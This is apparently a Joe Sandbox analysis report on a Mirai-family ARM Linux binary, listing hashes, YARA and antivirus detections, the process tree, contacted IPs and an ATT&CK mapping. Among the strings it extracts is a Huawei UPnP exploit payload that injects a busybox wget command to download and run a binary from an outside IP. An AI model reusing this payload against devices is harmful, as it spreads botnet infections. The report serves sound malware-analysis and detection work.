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Linux Analysis Report
arm5.elf

Overview

General Information

Sample name:	arm5.elf
Analysis ID:	1646706
MD5:	2ac46642238ffcfeab959f97869d9bfc
SHA1:	1d3fba167832a986bda046f8765284114e4cb7cd
SHA256:	eb2918b74b0359a196f2046e189303421391b74b65faadbe74ba049e80cb463c
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1646706
Start date and time:	2025-03-24 08:32:44 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5.elf
Detection:	MAL
Classification:	mal80.troj.linELF@0/0@0/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Runtime Messages

Command:	/tmp/arm5.elf
PID:	6232
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:	/lib/ld-uClibc.so.0: No such file or directory

Process Tree

system is lnxubuntu20

arm5.elf (PID: 6232, Parent: 6152, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5.elf

dash New Fork (PID: 6297, Parent: 4331)

rm (PID: 6297, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.FcGvLC9cQw /tmp/tmp.xcB8zd94H2 /tmp/tmp.j70S8B0EXw

dash New Fork (PID: 6298, Parent: 4331)

rm (PID: 6298, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.FcGvLC9cQw /tmp/tmp.xcB8zd94H2 /tmp/tmp.j70S8B0EXw

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm5.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
arm5.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
arm5.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8cfc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8db0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.00007fa210028000.00007fa210029000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6232.1.00007fa210028000.00007fa210029000.rw-.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x30:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x44:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x58:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xd0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6232.1.00007fa210017000.00007fa210021000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6232.1.00007fa210017000.00007fa210021000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6232.1.00007fa210017000.00007fa210021000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8cfc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d10:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d24:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8db0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8dec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: arm5.elf PID: 6232	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm5.elf PID: 6232	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3250:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3264:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3278:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x328c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32a0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32b4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32c8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32dc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x32f0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3304:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3318:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x332c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3340:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3354:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3368:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x337c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3390:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x33e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm5.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm5.elf	Virustotal: Detection: 62%			Perma Link
Source: arm5.elf	ReversingLabs: Detection: 66%

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 39246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39246
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: arm5.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6232.1.00007fa210028000.00007fa210029000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6232.1.00007fa210017000.00007fa210021000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: arm5.elf PID: 6232, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.77.246.176 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.77.246.176 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdP

Source: ELF static info symbol of initial sample

.symtab present: no

Source: arm5.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6232.1.00007fa210028000.00007fa210029000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6232.1.00007fa210017000.00007fa210021000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: arm5.elf PID: 6232, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal80.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6297)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.FcGvLC9cQw /tmp/tmp.xcB8zd94H2 /tmp/tmp.j70S8B0EXw			Jump to behavior
Source: /usr/bin/dash (PID: 6298)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.FcGvLC9cQw /tmp/tmp.xcB8zd94H2 /tmp/tmp.j70S8B0EXw			Jump to behavior

Source: /tmp/arm5.elf (PID: 6232)

Queries kernel information via 'uname':

Jump to behavior

Source: arm5.elf, 6232.1.00007ffc48e71000.00007ffc48e92000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 6232.1.00005584318df000.0000558431a0d000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm5.elf, 6232.1.00007ffc48e71000.00007ffc48e92000.rw-.sdmp	Binary or memory string: qemu: %s: %s
Source: arm5.elf, 6232.1.00007ffc48e71000.00007ffc48e92000.rw-.sdmp	Binary or memory string: leqemu: %s: %s
Source: arm5.elf, 6232.1.00005584318df000.0000558431a0d000.rw-.sdmp	Binary or memory string: Urg.qemu.gdb.arm.sys.regs">
Source: arm5.elf, 6232.1.00005584318df000.0000558431a0d000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 6232.1.00007ffc48e71000.00007ffc48e92000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm5.elf, 6232.1.00005584318df000.0000558431a0d000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm5.elf, type: SAMPLE
Source: Yara match	File source: 6232.1.00007fa210017000.00007fa210021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007fa210028000.00007fa210029000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 6232, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm5.elf, type: SAMPLE
Source: Yara match	File source: 6232.1.00007fa210017000.00007fa210021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6232.1.00007fa210028000.00007fa210029000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: arm5.elf PID: 6232, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm5.elf	62%	Virustotal		Browse
arm5.elf	67%	ReversingLabs	Linux.Trojan.Mirai
arm5.elf	100%	Avira	EXP/ELF.Gafgyt.Z.E

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	arm5.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	arm5.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	mpsl.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sh4.elf	Get hash	malicious	Unknown	Browse
	ppc.elf	Get hash	malicious	Unknown	Browse
	gigab.x86.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	aarch64.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	mpsl.fkunigr.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	armv5l.elf	Get hash	malicious	Mirai	Browse
	aarch64.elf	Get hash	malicious	Mirai	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	morte.spc.elf	Get hash	malicious	Okiru	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	mpsl.fkunigr.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	armv5l.elf	Get hash	malicious	Mirai	Browse
	aarch64.elf	Get hash	malicious	Mirai	Browse
	mpsl.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	morte.spc.elf	Get hash	malicious	Okiru	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	mpsl.fkunigr.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	armv5l.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	aarch64.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	morte.spc.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
CANONICAL-ASGB	mpsl.fkunigr.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	armv5l.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	aarch64.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	morte.spc.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
